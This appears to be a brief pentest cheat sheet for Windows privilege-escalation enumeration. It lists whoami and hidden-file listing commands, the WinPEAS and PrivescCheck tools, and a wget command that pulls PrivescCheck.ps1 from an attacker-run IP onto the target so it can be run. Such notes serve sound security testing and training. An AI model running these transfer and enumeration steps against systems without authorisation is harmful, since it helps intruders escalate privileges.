PowerShell

whoami /priv
whoami /all

gci -recurse .
gci -recurse -hidden .

Manual Enum
- C:\Users
- C:\
- C:\Windows\Temp

Auto Enum
- Winpeas
- PrivesCheck (https://github.com/itm4n/PrivescCheck)
 - . .\PrivescCheck.ps1; Invoke-PrivescCheck

Transfer
- wget http://$ip/ -UseBasicParsing -OutFile $file.ext

wget http://10.4.59.208:8000/PrivescCheck.ps1 -UseBasicParsing -OutFile PrivescCheck.ps1```

---

Thanks for reading